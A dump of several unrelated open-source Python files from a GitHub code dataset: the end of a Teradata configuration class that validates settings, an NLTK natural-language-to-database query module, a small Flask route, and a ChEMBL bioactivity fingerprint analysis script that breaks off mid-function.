super().__setattr__('_byom_model_catalog_license_database', None)\n # Internal parameter, that is used for specifying the URL to be used as\n # base URL in UES REST calls\n super().__setattr__('ues_url', None)\n # Internal parameter, that is used for specifying the Authentication token to be used\n # in UES REST calls\n super().__setattr__('auth_token', None)\n # Internal parameter, that is used to specify the certificate file in a secured HTTP request.\n super().__setattr__('certificate_file', False)\n # Internal parameter, that is used for specify the maximum size of the file\n # allowed by UES to upload it.\n super().__setattr__('_ues_max_file_upload_size', 10)\n # Internal parameter, that is used to specify the default environment,\n super().__setattr__('_default_user_env', None)\n\n # Internal parameter, that is used to post the Code verifier in OAuth work flow.\n super().__setattr__('_oauth_end_point', None)\n\n # Internal parameter, that is used for specifying the client id in OAuth work flow.\n super().__setattr__('_oauth_client_id', None)\n\n # Internal parameter, that is used for specifying the ID of Authentication token.\n super().__setattr__('_id_auth_token', None)\n\n # Internal parameter, that is used for specifying the Authentication token expiry time.\n super().__setattr__('_auth_token_expiry_time', None)\n\n # Internal parameter, that is used for specifying the refresh token to be used\n # in UES REST calls\n super().__setattr__('_refresh_token', None)\n\n # Internal parameter, that is used for specifying the refresh token to be used\n # in UES REST calls\n super().__setattr__('_pf_token_username_label', \"pf.username\")\n\n # Internal parameter, that is used for specifying the refresh token to be used\n # in UES REST calls\n super().__setattr__('_pf_token_password_label', \"pf.pass\")\n\n def __setattr__(self, name, value):\n if hasattr(self, name):\n if name == 'default_varchar_size':\n if not isinstance(value, int):\n raise TeradataMlException(Messages.get_message(MessageCodes.UNSUPPORTED_DATATYPE, name,\n 'int'),\n MessageCodes.UNSUPPORTED_DATATYPE)\n if value <= 0:\n raise TeradataMlException(Messages.get_message(MessageCodes.TDMLDF_POSITIVE_INT, name,\n \"greater than\"),\n MessageCodes.TDMLDF_POSITIVE_INT)\n elif name == '_ues_max_file_upload_size':\n if type(value) != int:\n raise TeradataMlException(Messages.get_message(MessageCodes.UNSUPPORTED_DATATYPE, name,\n 'int'),\n MessageCodes.UNSUPPORTED_DATATYPE)\n if value < 0:\n raise TeradataMlException(Messages.get_message(MessageCodes.TDMLDF_POSITIVE_INT, name,\n \"greater than or equal to\"),\n MessageCodes.TDMLDF_POSITIVE_INT)\n elif name in ['column_casesensitive_handler', '_validate_metaexpression',\n '_validate_gc', '_latest_sandbox_exists']:\n\n if not isinstance(value, bool):\n raise TeradataMlException(Messages.get_message(MessageCodes.UNSUPPORTED_DATATYPE, name,\n 'bool'),\n MessageCodes.UNSUPPORTED_DATATYPE)\n elif name == 'certificate_file':\n if not isinstance(value, str):\n raise TeradataMlException(Messages.get_message(MessageCodes.UNSUPPORTED_DATATYPE, name,\n 'str'),\n MessageCodes.UNSUPPORTED_DATATYPE)\n\n if not os.path.exists(value):\n msg_code = MessageCodes.EXECUTION_FAILED\n raise TeradataMlException(Messages.get_message(msg_code,\n \"read contents of file '{}'\".format(value),\n 'File does not exist.'),\n msg_code)\n\n if not os.path.isfile(value):\n msg_code = MessageCodes.EXECUTION_FAILED\n raise TeradataMlException(Messages.get_message(msg_code,\n \"read contents of file '{}'\".format(value),\n 'Not a file.'),\n msg_code)\n\n elif name == 'vantage_version':\n if not isinstance(value, str):\n raise TeradataMlException(Messages.get_message(MessageCodes.UNSUPPORTED_DATATYPE, name,\n 'str'),\n MessageCodes.UNSUPPORTED_DATATYPE)\n valid_versions = ['vantage1.0', 'vantage1.1', 'vantage1.3', 'vantage2.0']\n value = value.lower()\n if value not in valid_versions:\n raise TeradataMlException(Messages.get_message(MessageCodes.INVALID_ARG_VALUE,\n value,\n name,\n \"a value in {}\".format(valid_versions)),\n MessageCodes.INVALID_ARG_VALUE)\n\n elif name in ['val_install_location', 'byom_install_location', 'database_version',\n 'read_nos_function_mapping', 'write_nos_function_mapping',\n '_byom_model_catalog_database', '_byom_model_catalog_table',\n '_byom_model_catalog_license', '_byom_model_catalog_license_source']:\n if not isinstance(value, str):\n raise TeradataMlException(Messages.get_message(MessageCodes.UNSUPPORTED_DATATYPE, name,\n 'str'),\n MessageCodes.UNSUPPORTED_DATATYPE)\n\n elif name in {'ues_url', 'auth_token', '_oauth_end_point', '_oauth_client_id',\n '_id_auth_token', '_refresh_token', '_pf_token_username_label',\n '_pf_token_password_label'}:\n\n if not isinstance(value, str):\n raise TypeError(Messages.get_message(MessageCodes.UNSUPPORTED_DATATYPE, name, 'str'))\n\n if len(value) == 0:\n raise ValueError(Messages.get_message(MessageCodes.ARG_EMPTY, name))\n\n if name == 'ues_url':\n value = value[: -1] if value.endswith(\"/\") else value\n\n elif name in ['sandbox_container_id', '_container_started_by_teradataml',\n 'temp_table_database', 'temp_view_database',\n \"_byom_model_catalog_license_table\", \"_byom_model_catalog_license_database\"]:\n if not isinstance(value, str) and not isinstance(value, type(None)):\n raise TeradataMlException(Messages.get_message(MessageCodes.UNSUPPORTED_DATATYPE, name,\n 'str or None'),\n MessageCodes.UNSUPPORTED_DATATYPE)\n\n elif name in {'_auth_token_expiry_time'}:\n\n if not isinstance(value, float):\n raise TypeError(Messages.get_message(MessageCodes.UNSUPPORTED_DATATYPE, name, 'float'))\n\n super().__setattr__(name, value)\n else:\n raise AttributeError(\"'{}' object has no attribute '{}'\".format(self.__class__.__name__, name))\n\n\nconfigure = _Configure()","repo_name":"Teradata/teradata-dataiku-plugin","sub_path":"python-lib/teradataml/options/configure.py","file_name":"configure.py","file_ext":"py","file_size_in_byte":16556,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"3720328649","text":"import nltk\nimport logging as log\nfrom nltk import pos_tag, ne_chunk\nfrom nltk.tokenize import word_tokenize\nfrom nltk.corpus import stopwords\nfrom nltk.stem import WordNetLemmatizer\nfrom nltk.tree import Tree\nfrom nltk.corpus import state_union\nfrom nltk.tokenize import PunktSentenceTokenizer\nimport recEntities\nfrom fuzzywuzzy import fuzz, process\nimport parse_tree\nimport db_handler\nimport util\nimport retry\nimport info\n\n\ndef recColoumns_temp(query_text):\n query_text_words = query_text.split()\n\n stem_columns = recEntities.init_datababse()\n # print(stem_columns)\n\n verb_to_col = recEntities.wrap_convert(stem_columns)\n\n print(verb_to_col)\n print(\"\\n\\n\")\n matched_words_col = {}\n # for col, col_var in verb_to_col.items():\n # for word in col_var:\n # res = process.extractOne(word, query_text_words)\n # if(res[1] > 70):\n # print(\"Column is \" + col)\n # print(\"Matched word is \" + res[0])\n # print(\"With accuracy \" + str(res[1]))\n # matched_words_col[res[0]] = col\n # print(\"\\n\\n\")\n\n for word in query_text_words:\n max_acc = 0\n col_mat = ''\n for col, col_var in verb_to_col.items():\n res = process.extractOne(word, col_var)\n if(res[1] > 70):\n print(\"word is \"+word)\n print(\"Column is \" + col)\n print(\"Matched word is \" + res[0])\n print(\"With accuracy \" + str(res[1]))\n if(res[1] > max_acc):\n print(res[1], max_acc, col, col_mat)\n max_acc = res[1]\n col_mat = col\n print(\"\\n\\n\")\n if(col_mat == ''):\n continue\n matched_words_col[word] = col_mat\n return matched_words_col\n\ndef recColoumns(query_text):\n if 'movie' in query_text:\n query_text.replace('movie', 'title')\n if 'movies' in query_text:\n query_text.replace('movies', 'title')\n\n query_text_words = query_text.split()\n\n if 'I' in query_text_words:\n query_text_words.remove('I')\n if 'i' in query_text_words:\n query_text_words.remove('i')\n \n stem_columns = recEntities.init_datababse()\n # print(stem_columns)\n\n verb_to_col = recEntities.wrap_convert(stem_columns)\n\n print(verb_to_col)\n print(\"\\n\\n\")\n matched_words_col = {}\n for col, col_var in verb_to_col.items():\n for word in col_var:\n res = process.extractOne(word, query_text_words)\n if(res[1] > 70):\n print(\"Column is \" + col)\n print(\"Matched word is \" + res[0])\n print(\"With accuracy \" + str(res[1]))\n matched_words_col[res[0]] = col\n print(\"\\n\\n\")\n return matched_words_col\n\ndef get_relationship(query_text, intent_info):\n str_parse_tree = parse_tree.get_parse_tree(query_text)\n matched_words_col = recColoumns_temp(query_text)\n\n if not matched_words_col:\n rows = retry.no_col_match(query_text)\n if rows:\n rows = [row.tolist() for row in rows]\n print(rows)\n return [rows]\n\n \n print(str_parse_tree)\n print(matched_words_col)\n db_inp_dic = {}\n col_type, col_pos = util.get_col_pos()\n print(col_pos)\n adj_dic = util.get_adj(query_text)\n rows = []\n for key, value in matched_words_col.items():\n pos_tag = col_pos[value]\n\n node, val = parse_tree.get_relation(str_parse_tree, key, pos_tag)\n\n print(\"\\n\\n\\n\\n\")\n print(node)\n print(\"\\n\\n\\n\\n\")\n print(val)\n\n if(val != False and val is not None):\n db_inp_dic[value.lower()] = val\n \n print(db_inp_dic)\n\n rows.append(db_handler.db_select(db_inp_dic, intent_info, col_type, adj_dic))\n print(rows)\n else:\n matched_rows = retry.retry(value, query_text)\n \n rows.append( [row.tolist() for row in matched_rows])\n print(rows)\n return rows\n\ndef get_intent_col(text):\n matched_words_col = recColoumns_temp(text)\n print('matched_words_col')\n \n print(matched_words_col)\n if not matched_words_col:\n return ['Title']\n elif 'movie' in text or 'movies' in text:\n return ['Title']\n cols = [val for key, val in matched_words_col.items()]\n return cols\n\ndef get_intent_info(query_text):\n intent = util.get_intent(query_text)\n \n for key, val in intent.items():\n if val:\n query_text = query_text.replace(key, '')\n cols = get_intent_col(query_text)\n\n number = util.get_number(query_text)\n\n \n intent_info = {'cols':cols, 'number':number, 'intent':intent}\n\n return intent_info\n\ndef chunking(tag_words):\n # grammar = r\"\"\"inter : {????}\n # intent : {????+??}\"\"\"\n\n grammar = r\"\"\"inter : {????}\"\"\"\n\n parser = nltk.RegexpParser(grammar)\n chunked = parser.parse(tag_words)\n\n # print(chunked)\n # for subtree in chunked.subtrees(filter=lambda t: t.label() == 'intent'):\n # print(subtree.label())\n intent_text = ''\n inter_text = ''\n # for subtree in chunked.subtrees(filter=lambda t: t.label() == 'intent'):\n # intent_text = \" \".join([text for text, pos in subtree.leaves()])\n for subtree in chunked.subtrees(filter=lambda t: t.label() == 'inter'):\n inter_text = \" \".join([text for text, pos in subtree.leaves()])\n \n q = []\n i = []\n f = True\n for chunk in chunked:\n if type(chunk) != Tree:\n if f:\n i.append(chunk[0])\n else:\n q.append(chunk[0])\n else:\n f = False\n \n query_text = \" \".join(q)\n intent_text = \" \".join(i)\n # log.info(intent_text)\n print(\"Intent text is ---\" + intent_text)\n print(\"Intermediate text is ---\" + inter_text) \n print(\"query is ---\" + query_text)\n print(\"\\n\\n\\n\\n\\n\")\n return intent_text, inter_text, query_text\n\n\ndef chunkIntent(tag_words):\n\n grammar = r\"\"\"intent : {????+??}\"\"\"\n parser = nltk.RegexpParser(grammar)\n chunked = parser.parse(tag_words)\n\n # print(chunked)\n for subtree in chunked.subtrees(filter=lambda t: t.label() == 'Chunk'):\n print(subtree)\n\ndef groupNounVerb(tag_words):\n proper_nouns = []\n verbs = []\n nouns = []\n\n proper_nouns = get_continuous_chunks(tag_words)\n\n is_noun = lambda pos : pos[:2] == 'NN'\n \n\n for word, pos in tag_words:\n if pos.startswith('V'):\n verbs.append(word)\n if is_noun(pos):\n nouns.append(word)\n\n split_proper_nouns = []\n for proper_noun in proper_nouns:\n split_proper_nouns += proper_noun.split()\n \n temp_nouns = [noun for noun in nouns if noun not in split_proper_nouns]\n nouns = temp_nouns\n return nouns, proper_nouns, verbs\n\n\ndef filter(sentence):\n words = word_tokenize(sentence)\n\n # filtered_words = remove_stopwords(words)\n tag_words = tagging(words)\n # print(tag_words)\n nouns, proper_nouns, verbs = groupNounVerb(tag_words)\n split_input = []\n split_input = chunking(tag_words)\n # print(Intent_classification_final.predict(split_input[0]))\n print(\"\\n\\n\\n\")\n print(\"nouns \" + str(nouns))\n print(\"proper nouns \" + str(proper_nouns))\n print(\"verbs \" + str(verbs))\n print(\"\\n\\n\\n\")\n intent_info = get_intent_info(split_input[0])\n rows = get_relationship(split_input[2], intent_info)\n final_rows, intent_info = info.filter_info(rows, intent_info)\n return final_rows, intent_info\n\ndef remove_stopwords(words):\n stop_words = list(stopwords.words('english'))\n filtered_words = [word for word in words if word not in stop_words] \n return filtered_words\n\ndef tagging(words):\n return pos_tag(words)\n\ndef get_continuous_chunks(tagged_words):\n chunked = ne_chunk(tagged_words)\n # print(chunked)\n continuous_chunk = []\n current_chunk = []\n\n for i in chunked:\n if type(i) == Tree:\n current_chunk.append(\" \".join([token for token, pos in i.leaves()]))\n elif current_chunk:\n named_entity = \" \".join(current_chunk)\n if named_entity not in continuous_chunk:\n continuous_chunk.append(named_entity)\n current_chunk = []\n else:\n continue\n\n if continuous_chunk:\n named_entity = \" \".join(current_chunk)\n if named_entity not in continuous_chunk:\n continuous_chunk.append(named_entity)\n\n return continuous_chunk\n \n\nif __name__ == \"__main__\":\n filter(\"get movies of 2016\" )\n","repo_name":"karthikbhat13/databot","sub_path":"nlu_module/filter.py","file_name":"filter.py","file_ext":"py","file_size_in_byte":8719,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"36389964295","text":"from application1 import app\nfrom flask import render_template\n\n@app.route('/')\n@app.route('/index')\ndef index():\n\tsome1 = {'username': 'mike'}\n\tpostser = [\n\t{\n\t\t'author': {'username': 'John'},\n\t\t'body' : 'Beuatiful day in Portland!'\n\t},\n\t{\n\t\t'author' : {'username': 'Susan'},\n\t\t'body' : 'The Avengers is a cool movie'\n\t}\n\t]\n\n\treturn render_template('index.html', title='Home', user=some1, posts=postser)\n\n''' \n\n@app.route('/test1/')\ndef index1(name):\n\tsome1 = {'username': name+\"\\'s\"}\n\treturn render_template('index.html', title='Home', user=some1)\n'''\n\n","repo_name":"muthu-kr/blognew","sub_path":"application1/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":561,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"73904313855","text":"from collections import Counter\nfrom itertools import groupby\n\nFONTSIZE = 15\n\nimport matplotlib\nmatplotlib.use('Agg')\nmatplotlib.rc('font', size=FONTSIZE)\nfrom matplotlib import pyplot as plt\nfrom matplotlib.ticker import MaxNLocator\nfrom numba import njit\nimport numpy as np\nfrom scipy.stats import spearmanr, pearsonr, norm, uniform\nimport tqdm\n\nimport crisper\n\nfrom bananas.pipelines import mean_warszycki_logki\nfrom bananas.worlds import (\n BalancedAgglomerativeClustering,\n CrossValidation,\n KernelTSNE,\n Morgan,\n MurckoScaffoldSplit,\n PaperSplit,\n SMILESToMol,\n SpectralClustering,\n StoredCopy,\n TanimotoMinMaxRepresentationMaker,\n TwoClassLogisticRegression,\n)\nfrom elderberries.benchmarks2018.problem import (\n Benchmarks2018StructuralSimilarity,\n Benchmarks2018ProblemClassificationSummary,\n)\nfrom elderberries.benchmarks2018.solutions import (\n fingerprinter_by_name,\n)\n\ndef target_name(target_uid):\n return {\n \"CHEMBL214\": \"5-HT1A\",\n \"CHEMBL224\": \"5-HT2A\",\n \"CHEMBL225\": \"5-HT2C\",\n \"CHEMBL3371\": \"5-HT6\",\n \"CHEMBL3155\": \"5-HT7\",\n \"CHEMBL226\": \"A1\",\n \"CHEMBL251\": \"A2A\",\n \"CHEMBL217\": \"D2\",\n \"CHEMBL264\": \"H3\",\n \"CHEMBL216\": \"M1\",\n }[target_uid]\n\nweighted_accuracy = Benchmarks2018ProblemClassificationSummary.metrics[\"Weighted_Accuracy\"][0]\naccuracy = Benchmarks2018ProblemClassificationSummary.metrics[\"Accuracy\"][0]\n\nspearman = lambda x, y: spearmanr(x,y)[0]\n\nto_pki = lambda logki: 9. - logki\n\ndef _table(rows, cols, content, delimiter='\\t'):\n result = [delimiter.join([''] + list(cols)) + '\\n']\n for row_name, row in zip(rows, content):\n result.append(delimiter.join([row_name] + list(row)) + '\\n')\n return ''.join(result)\n\ndef _arr_header_to_html(arr, header):\n from herbivores._html import (\n to_arr_header,\n columns_width,\n to_html,\n sanitize_html,\n doc_template,\n style_template,\n table_style_1,\n div_style_1,\n href,\n tablesorter,\n )\n href_chembl_compound = lambda uid: href(\n \"https://www.ebi.ac.uk/chembl/compound/inspect/{}\".format(uid),\n uid,\n )\n href_chembl_document = lambda uid: href(\n \"https://www.ebi.ac.uk/chembl/doc/inspect/{}\".format(uid),\n uid,\n )\n width = columns_width(arr, header, 30)\n arr, header = sanitize_html(arr), sanitize_html(header)\n for i, key in enumerate(header):\n if \"uid\" in key and not \"doc\" in key:\n arr[:,i] = np.vectorize(href_chembl_compound, otypes=(np.str,))(arr[:,i])\n if \"uid\" in key and \"doc\" in key:\n arr[:,i] = np.vectorize(href_chembl_document, otypes=(np.str,))(arr[:,i])\n return doc_template(\n style_template(\n table_style_1(\"data_table\"),\n div_style_1(None),\n ) + '\\n' + tablesorter(),\n to_html(arr, header, width, \"data_table\"),\n )\n\ndef jj_thresholded_ki(N=10, N_SPLITS=5, target_uid=\"CHEMBL214\", split_name=\"cv\", C=10., class_weight=\"balanced\", weighted_score=True):\n\n from elderberries.benchmarks2018.problem import Benchmarks2018StructuralSimilarity\n\n preds = {}\n scores = np.zeros((N_SPLITS,N,N), dtype=np.float)\n lspace = np.linspace(0.,3.,10)\n for i in range(N):\n for j in range(N):\n if i <= j:\n thresholds = tuple((lspace[x] for x in (i,j)))\n dataset = mean_warszycki_logki(\n target_uid=target_uid,\n chembl_filename=\"chembl_24.db\",\n threshold=thresholds,\n )[\"final\"]\n\n if split_name == \"cv\":\n split_ = CrossValidation(\n source=dataset,\n n_groups=N_SPLITS,\n seed=43,\n )\n elif split_name == \"bac\":\n split_ = BalancedAgglomerativeClustering(\n source=Benchmarks2018StructuralSimilarity(source=dataset),\n kernel=\"kernel\",\n n_groups=N_SPLITS,\n )\n else:\n raise ValueError(\"split_name: {}\".format(split_name))\n\n for n_split, split in enumerate(split_.get_splits()):\n tr, te = split.get_train(), split.get_test()\n fpr = Morgan(\n radius=4,\n use_chirality=True,\n use_bond_types=True,\n use_features=False,\n converter=SMILESToMol(),\n )\n fp_tr = fpr(source=tr)\n fp_te = fpr(source=te)\n repr_maker = TanimotoMinMaxRepresentationMaker(\n fingerprint=fp_tr)\n repr_tr = repr_maker(fingerprint=fp_tr)\n repr_te = repr_maker(fingerprint=fp_te)\n model = TwoClassLogisticRegression(\n source=repr_tr,\n C=C,\n class_weight=class_weight,\n )\n pred = StoredCopy(source=model.predict(source=repr_te))\n preds[(n_split, i, j)] = (te, pred)\n\n crisper.evaluate(\n *[k for tup in preds.values() for k in tup],\n label=\"J&J\"\n )\n\n for (n_split, i, j), (te, pred) in tqdm.tqdm(preds.items()):\n if weighted_score:\n scores[n_split, i, j] = weighted_accuracy(None, te, pred)\n else:\n scores[n_split, i, j] = accuracy(None, te, pred)\n scores_ = scores.mean(axis=0)\n fig = plt.figure()\n ax = fig.add_subplot(111)\n im = ax.imshow(scores_, origin=\"lower\", vmin=sorted(set(scores_.ravel()))[1], vmax=sorted(scores_.ravel())[-1])\n lspace_ = np.array([\"{:.2f}\".format(to_pki(x)) for x in lspace])\n idx = np.arange(0,N,2)\n ax.set_xticks(idx)\n ax.set_xticklabels(lspace_[idx])\n ax.set_yticks(idx)\n ax.set_yticklabels(lspace_[idx])\n ax.set_xlabel(\"Inactivity threshold (pKi)\")\n ax.set_ylabel(\"Activity threshold (pKi)\")\n if weighted_score:\n ax.set_title(\"Weighted Accuracy\")\n else:\n ax.set_title(\"Accuracy\")\n fig.colorbar(im, ax=ax)\n fig.tight_layout()\n return fig\n\ndef fingercheats(\n target_uids, fpr_names, include_earliest_year=None,\n ic50_conversion_strategy=\"all_relations_half_ic50\",\n fit_ic50=False):\n cor = np.zeros((len(target_uids), len(fpr_names)), dtype=np.float)\n cor2 = np.zeros((len(target_uids), len(fpr_names)), dtype=np.float)\n for i, target_uid in enumerate(target_uids):\n ds = mean_warszycki_logki(\n target_uid=target_uid,\n chembl_filename=\"chembl_24.db\",\n threshold=None,\n include_earliest_year=include_earliest_year,\n ic50_conversion_strategy=ic50_conversion_strategy,\n fit_ic50=fit_ic50,\n )[\"final\"]\n for j, fpr_name in enumerate(fpr_names):\n fpr = fingerprinter_by_name[fpr_name]\n a = np.array(fpr(source=ds).data[(\"fingerprint\", \"data\")].sum(axis=1)).ravel()\n b = ds.data[\"value\"]\n cor[i,j] = spearmanr(a,b)[0]\n cor2[i,j] = pearsonr(a,b)[0]\n\n fig = plt.figure(figsize=(16,6))\n\n ax = fig.add_subplot(121)\n fig.colorbar(ax.imshow(cor), ax=ax, orientation=\"horizontal\")\n ax.set_title(\"Spearman rank-order correlation coefficient\")\n ax.set_yticks(np.arange(len(target_uids)))\n ax.set_yticklabels([target_name(u) for u in target_uids])\n ax.set_xticks(range(0, len(fpr_names), 2))\n ax.set_xticklabels([\"FP{}\".format(i+1) for i in range(0, len(fpr_names), 2)])\n\n ax = fig.add_subplot(122)\n fig.colorbar(ax.imshow(cor2), ax=ax, orientation=\"horizontal\")\n ax.set_title(\"Pearson correlation coefficient\")\n ax.set_yticks(np.arange(len(target_uids)))\n ax.set_yticklabels([target_name(u) for u in target_uids])\n ax.set_xticks(range(0, len(fpr_names), 2))\n ax.set_xticklabels([\"FP{}\".format(i+1) for i in range(0, len(fpr_names), 2)])\n\n return (\n fig,\n ''.join([\"FP{}: {}\\n\".format(i+1, fpr_name) \\\n for i, fpr_name in enumerate(fpr_names)]),\n )\n\ndef fingercheats_thr(\n target_uids, fpr_names, threshold=2., include_earliest_year=None,\n ic50_conversion_strategy=\"all_relations_half_ic50\",\n fit_ic50=False):\n from sklearn.linear_model import LogisticRegression\n from sklearn.metrics import balanced_accuracy_score\n result = '\\t'.join([''] + [\"FP{}\".format(i+1) for i in range(len(fpr_names))]) + '\\n'\n acc = np.zeros((len(target_uids), len(fpr_names)), dtype=np.float)\n for i, target_uid in enumerate(target_uids):\n row = \"{}\\t\".format(target_name(target_uid))\n ds = mean_warszycki_logki(\n target_uid=target_uid,\n chembl_filename=\"chembl_24.db\",\n threshold=threshold,\n include_earliest_year=include_earliest_year,\n ic50_conversion_strategy=ic50_conversion_strategy,\n fit_ic50=fit_ic50,\n )[\"final\"]\n for j, fpr_name in enumerate(fpr_names):\n fpr = fingerprinter_by_name[fpr_name]\n X = np.array(fpr(source=ds).data[(\"fingerprint\", \"data\")].sum(axis=1)).reshape(-1,1)\n y = ds.data[\"value\"].ravel()\n assert set(y) == set([0., 1.])\n lr = LogisticRegression(class_weight=\"balanced\")\n lr.fit(X, y)\n acc[i,j] = balanced_accuracy_score(y, lr.predict(X))\n row += \"{:.3f}\\t\".format(acc[i,j])\n result += row + '\\n'\n fig = plt.figure(figsize=(8,6))\n ax = fig.add_subplot(111)\n fig.colorbar(ax.imshow(acc), ax=ax, orientation=\"horizontal\")\n ax.set_title(\"Weighted accuracy\")\n ax.set_yticks(np.arange(len(target_uids)))\n ax.set_yticklabels([target_name(u) for u in target_uids])\n ax.set_xticks(range(0, len(fpr_names), 2))\n ax.set_xticklabels([\"FP{}\".format(i+1) for i in range(0, len(fpr_names), 2)])\n return (\n fig,\n result,\n ''.join([\"FP{}: {}\\n\".format(i+1, fpr_name) \\\n for i, fpr_name in enumerate(fpr_names)]),\n )\n\ndef min_max_mean_per_paper(\n target_uids,\n include_earliest_year,\n ic50_conversion_strategy,\n fit_ic50,\n min_paper_size):\n fig = plt.figure(figsize=(12.3, len(target_uids)*4))\n counter = 0\n axes = []\n results = []\n for target_uid in target_uids:\n d = mean_warszycki_logki(\n target_uid=target_uid,\n chembl_filename=\"chembl_24.db\",\n threshold=None,\n include_earliest_year=include_earliest_year,\n ic50_conversion_strategy=ic50_conversion_strategy,\n fit_ic50=fit_ic50,\n )[\"final\"]\n result = []\n doc_uid = d.data[\"doc_uid\"]\n value = to_pki(d.data[\"value\"])\n key = lambda x: x[0]\n for k, g in groupby(sorted(zip(doc_uid, value), key=key), key):\n gu, gv = zip(*g)\n if len(gv) >= min_paper_size:\n tup = (np.min(gv), np.max(gv), np.mean(gv))\n result.append(tup)\n results.append(tup)\n for h in zip(*result):\n counter += 1\n ax = fig.add_subplot(len(target_uids), 3, counter)\n axes.append(ax)\n ax.hist(h, bins=43, range=(value.min(), value.max()))\n if counter % 3 == 1:\n ax.set_ylabel(target_name(target_uid) + '\\n')\n ax.set_xlabel({\n 1: \"Min pKi per paper (earliest)\",\n 2: \"Max pKi per paper (earliest)\",\n 0: \"Mean pKi per paper (earliest)\",\n }[counter % 3])\n xlim = (np.array(results).min()-.1, np.array(results).max()+.1)\n [ax.set_xlim(xlim) for ax in axes] \n fig.tight_layout()\n return fig\n\ndef how_many_records_per_paper(\n target_uids,\n include_earliest_year=\"all_bioactivity_records\",\n ic50_conversion_strategy=\"all_relations_half_ic50\",\n fit_ic50=True):\n fig = plt.figure(figsize=(4.3, len(target_uids)*4))\n for i, target_uid in enumerate(target_uids):\n d = mean_warszycki_logki(\n target_uid=target_uid,\n chembl_filename=\"chembl_24.db\",\n threshold=None,\n include_earliest_year=include_earliest_year,\n ic50_conversion_strategy=ic50_conversion_strategy,\n fit_ic50=fit_ic50,\n )[\"final\"]\n ax = fig.add_subplot(len(target_uids), 1, i+1)\n v = list(Counter(d.data[\"doc_uid\"]).values())\n ax.hist(v, bins=int(np.max(v)))\n ax.set_xlabel(\"Earliest records per paper\")\n ax.set_ylabel(target_name(target_uid) + \"\\n\")\n ax.set_yscale(\"log\", nonposy='clip')\n fig.tight_layout()\n return fig\n\ndef earliest_year_variants(target_uids):\n def compare_year(*ds):\n uids = np.array(sorted(set.union(*[set(d.data[\"uid\"]) for d in ds])))\n years = np.empty((len(uids),len(ds)),dtype=np.float)\n years.fill(np.nan)\n for i, d in enumerate(ds):\n idx = np.searchsorted(uids, d.data[\"uid\"])\n years[idx,i] = d.data[\"year\"]\n return years\n result = [\n \"Reference method: 'all_bioactivity_records'\\n\",\n \"Other:\\n\",\n \" 'Ki_IC50_records'\\n\",\n \" 'Ki_records'\\n\",\n \"target: differing/total\\n\",\n ]\n for target_uid in target_uids:\n ds = []\n for include_earliest_year in [\"all_bioactivity_records\", \"Ki_IC50_records\", \"Ki_records\"]:\n ds.append(mean_warszycki_logki(\n target_uid=target_uid,\n chembl_filename=\"chembl_24.db\",\n threshold=None,\n include_earliest_year=include_earliest_year,\n ic50_conversion_strategy=\"all_relations_half_ic50\",\n )[\"final\"])\n y = compare_year(*ds)\n a = np.all(\n np.logical_or(\n y == np.nanmax(y, axis=1).reshape(-1,1),\n np.isnan(y)\n ),\n axis=1,\n )\n result.append(\"{}: {}/{}\\n\".format(target_name(target_uid), len(a)-sum(a), len(a)))\n return ''.join(result)\n\ndef activity_variants(target_uids, conversion_strategies, reference_idx):\n def compare_Ki(*ds):\n uids = np.array(sorted(set.union(*[set(d.data[\"uid\"]) for d in ds])))\n value = np.empty((len(uids),len(ds)),dtype=np.float)\n value.fill(np.nan)\n for i, d in enumerate(ds):\n idx = np.searchsorted(uids, d.data[\"uid\"])\n assert np.all(uids[idx] == d.data[\"uid\"])\n value[idx,i] = d.data[\"value\"]\n return value\n\n fig = plt.figure(figsize=(4*len(conversion_strategies),4*len(target_uids)))\n fig2 = plt.figure(figsize=(4*len(conversion_strategies),4*len(target_uids)))\n ax_counter = 0\n for target_uid in target_uids:\n ds = []\n corrections = []\n for ic50_conversion_strategy, fit_ic50, _ in conversion_strategies:\n dct = mean_warszycki_logki(\n target_uid=target_uid,\n chembl_filename=\"chembl_24.db\",\n threshold=None,\n include_earliest_year=None,\n ic50_conversion_strategy=ic50_conversion_strategy,\n fit_ic50=fit_ic50,\n )\n ds.append(dct[\"final\"])\n correction = None\n if fit_ic50:\n for n in reversed(dct[\"data_nodes\"]):\n try:\n correction = n.data[\"IC50_correction\"]\n break\n except KeyError:\n pass\n assert correction is not None\n else:\n correction = 0.\n corrections.append(correction)\n value = compare_Ki(*ds)\n ref_label = conversion_strategies[reference_idx][2]\n for i, (_, fit_ic50, label) in enumerate(conversion_strategies):\n ax_counter += 1\n ax = fig.add_subplot(len(target_uids),len(conversion_strategies),ax_counter)\n ax.scatter(to_pki(value[:,reference_idx]), to_pki(value[:,i]), s=8)\n if fit_ic50:\n ax.set_title(\"(coefficient: {:.3f})\".format(2*10**(-corrections[i])))\n ax.set_xlabel(\"{} (reference)\".format(ref_label))\n ax.set_ylabel(\n target_name(target_uid) + '\\n\\n' + label if i == 0 else label\n )\n ax = fig2.add_subplot(len(target_uids),len(conversion_strategies),ax_counter)\n ax.hist(to_pki(ds[i].data[\"value\"]), bins=43)\n ax.set_xlabel(label)\n if i == 0:\n ax.set_ylabel(target_name(target_uid) + '\\n')\n fig.tight_layout()\n fig2.tight_layout()\n return fig, fig2\n\ndef median_thresholded_activity_variants(\n target_uids, conversion_strategies):\n medians = np.zeros(\n (len(target_uids), len(conversion_strategies)),\n dtype=np.float,\n )\n for i, target_uid in enumerate(target_uids):\n for j, (ic50_conversion_strategy, fit_ic50, _) in enumerate(conversion_strategies):\n medians[i,j] = mean_warszycki_logki(\n target_uid=target_uid,\n chembl_filename=\"chembl_24.db\",\n threshold=\"median\",\n include_earliest_year=None,\n ic50_conversion_strategy=ic50_conversion_strategy,\n fit_ic50=fit_ic50,\n )[\"final\"].data[\"value_threshold\"]\n medians = to_pki(medians)\n labels = [l for _, _, l in conversion_strategies]\n fig = plt.figure(figsize=(10,7))\n ax = fig.add_subplot(111)\n im = ax.imshow(medians.T)\n\n ax.set_xticks(range(len(target_uids)))\n ax.set_xticklabels([target_name(u) for u in target_uids])\n# ax.set_xlabel(\"Target\")\n plt.setp(ax.xaxis.get_majorticklabels(), rotation=90)\n\n ax.set_yticks(range(len(conversion_strategies)))\n ax.set_yticklabels(labels)\n# ax.set_ylabel(\"log Ki variant\")\n\n fig.colorbar(im, ax=ax, orientation='horizontal')\n ax.set_title(\"Median pKi\", 